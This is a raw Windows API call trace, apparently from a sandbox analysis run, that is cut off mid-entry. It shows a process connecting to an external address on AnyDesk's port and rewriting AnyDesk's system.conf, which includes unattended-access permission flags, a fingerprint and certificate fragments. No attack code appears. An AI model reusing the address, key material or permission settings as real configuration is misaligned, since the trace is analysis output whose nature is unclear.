RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0199.099] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586809786445) returned 1 [0199.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac48 [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0199.099] GetCurrentThreadId () returned 0xa0c [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0199.099] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0199.099] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586809849864) returned 1 [0199.099] SwitchToFiber (lpFiber=0x6525a0) [0199.099] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0199.099] GetCurrentThreadId () returned 0xa0c [0199.099] GetExitCodeThread (in: hThread=0x370, lpExitCode=0x402f2e8 | out: lpExitCode=0x402f2e8) returned 1 [0199.101] CloseHandle (hObject=0x370) returned 1 [0199.101] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0199.101] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0199.101] GetLastError () returned 0x0 [0199.102] GetSystemTime (in: lpSystemTime=0x402f418 | out: lpSystemTime=0x402f418*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x235)) [0199.102] GetCurrentThreadId () returned 0xa0c [0199.102] GetCurrentProcessId () returned 0x994 [0199.102] GetLastError () returned 0x0 [0199.103] htons (hostshort=0x19a8) returned 0xa819 [0199.103] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x370 [0199.104] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bd48 [0199.104] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x380 [0199.104] GetCurrentThreadId () returned 0xa0c [0199.104] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0199.104] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0199.104] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0199.104] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.104] WSAEventSelect (s=0x370, hEventObject=0x380, lNetworkEvents=59) returned 0 [0199.104] setsockopt (s=0x370, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0199.104] setsockopt (s=0x370, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0199.104] WSAIoctl (in: s=0x370, dwIoControlCode=0x98000004, lpvInBuffer=0x402f3e0, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0) returned 0 [0199.104] setsockopt (s=0x370, level=65535, optname=4097, optval="", optlen=4) returned 0 [0199.104] WSAConnect (in: s=0x370, name=0x402f438*(sa_family=2, sin_port=0x19a8, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0199.107] WSAGetLastError () returned 10035 [0199.107] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0199.107] GetTickCount () returned 0x1888878 [0199.107] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bba8 [0199.107] QueryPerformanceCounter (in: lpPerformanceCount=0x402f320 | out: lpPerformanceCount=0x402f320*=2586810635929) returned 1 [0199.107] GetCurrentThreadId () returned 0xa0c [0199.107] SwitchToFiber (lpFiber=0x5c4f98) [0199.107] SwitchToFiber (lpFiber=0x5ca728) [0199.107] GetLastError () returned 0x2733 [0199.108] SwitchToFiber (lpFiber=0x5c4f98) [0199.108] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2586810689234) returned 1 [0199.108] WaitForMultipleObjects (nCount=0x7, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x1) returned 0x6 [0199.129] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55258 [0199.129] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586812857842) returned 1 [0199.129] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bd68 [0199.129] GetCurrentThreadId () returned 0xa0c [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0199.130] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac48 [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.130] WSAEnumNetworkEvents (in: s=0x370, hEventObject=0x0, lpNetworkEvents=0x271f6dc | out: lpNetworkEvents=0x271f6dc) returned 0 [0199.130] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bba8 [0199.130] GetCurrentThreadId () returned 0xa0c [0199.130] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0199.130] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586812928591) returned 1 [0199.130] SwitchToFiber (lpFiber=0x6525a0) [0199.130] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bde8 [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd68 | out: hHeap=0x3b0000) returned 1 [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bde8 | out: hHeap=0x3b0000) returned 1 [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0199.130] GetCurrentThreadId () returned 0xa0c [0199.130] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0199.131] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02180 | out: hHeap=0x3b0000) returned 1 [0199.131] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02180 [0199.131] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0199.131] shutdown (s=0x370, how=2) returned 0 [0199.141] closesocket (s=0x370) returned 0 [0199.142] CloseHandle (hObject=0x380) returned 1 [0199.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd48 | out: hHeap=0x3b0000) returned 1 [0199.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0199.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0199.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe00e28 | out: hHeap=0x3b0000) returned 1 [0199.142] GetLastError () returned 0x0 [0199.143] GetSystemTime (in: lpSystemTime=0x402f524 | out: lpSystemTime=0x402f524*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x263)) [0199.143] GetCurrentThreadId () returned 0xa0c [0199.143] GetCurrentProcessId () returned 0x994 [0199.143] GetLastError () returned 0x0 [0199.143] GetSystemTime (in: lpSystemTime=0x402f524 | out: lpSystemTime=0x402f524*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x263)) [0199.143] GetCurrentThreadId () returned 0xa0c [0199.143] GetCurrentProcessId () returned 0x994 [0199.143] GetLastError () returned 0x0 [0199.143] GetSystemTime (in: lpSystemTime=0x402f5b8 | out: lpSystemTime=0x402f5b8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x263)) [0199.143] GetCurrentThreadId () returned 0xa0c [0199.143] GetCurrentProcessId () returned 0x994 [0199.143] GetLastError () returned 0x0 [0199.144] SwitchToFiber (lpFiber=0x5c4f98) [0199.144] SwitchToFiber (lpFiber=0x5ca728) [0199.144] GetLastError () returned 0x0 [0199.144] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0199.144] LockFileEx (in: hFile=0x380, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2e1f2a0 | out: lpOverlapped=0x2e1f2a0) returned 1 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55168 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c18 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c90 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0199.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55d00 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551c8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10b40 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551b0 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583c8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55330 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e3b0 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55318 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55300 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e300 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552e8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe320b8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552d0 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552b8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e1f8 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe4be48 [0199.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0199.145] GetLastError () returned 0xb7 [0199.145] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.145] SetEndOfFile (hFile=0x380) returned 1 [0199.146] WriteFile (in: hFile=0x380, lpBuffer=0xe4be48*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2e1f260, lpOverlapped=0x0 | out: lpBuffer=0xe4be48*, lpNumberOfBytesWritten=0x2e1f260*=0x1c7, lpOverlapped=0x0) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be48 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe583c8 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551b0 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552d0 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d00 | out: hHeap=0x3b0000) returned 1 [0199.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55330 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552b8 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55318 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55300 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552e8 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0199.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0199.149] UnlockFileEx (in: hFile=0x380, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2e1f238 | out: lpOverlapped=0x2e1f238) returned 1 [0199.149] CloseHandle (hObject=0x380) returned 1 [0199.151] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0199.151] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bd88 [0199.151] GetCurrentThreadId () returned 0xa0c [0199.151] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0199.151] GetLastError () returned 0xb7 [0199.151] SwitchToFiber (lpFiber=0x5c4f98) [0199.151] SwitchToFiber (lpFiber=0x5c4c98) [0199.151] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bba8 [0199.151] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bb88 [0199.151] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fb28 [0199.151] GetTickCount () returned 0x18888a6 [0199.152] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0199.152] LockFileEx (in: hFile=0x380, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0199.152] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=455) returned 1 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe4be48 [0199.152] ReadFile (in: hFile=0x380, lpBuffer=0xe4be48, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe4be48*, lpNumberOfBytesRead=0x2a7b62c*=0x1c7, lpOverlapped=0x0) returned 1 [0199.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4be48, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x390) returned 0xe4c018 [0199.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4be48, cbMultiByte=455, lpWideCharStr=0xe4c018, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\nLர췹ꂼ\x05ⅈå豈àKLz/6K\\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\\nQAytK30fPh4/PsHI\\n-----END CERTIFICATE-----\\n") returned 455 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f868 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fda8 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552e8 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c90 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55300 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55318 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e300 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55168 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552b8 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26c18 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55330 [0199.152] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34ac8 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551c8 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe15f60 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fc18 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe552d0 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe320b8 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551b0 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f958 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f958 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583c8 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583f0 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe583c8 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16020 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16080 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33798 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583c8 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe583f0 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fdf8 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10b40 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac48 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aca8 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.153] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0199.153] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33778 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10b40 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55d00 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d00 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55d00 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55d38 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d00 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aca8 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aca8 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe337b8 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55d00 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aca8 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, 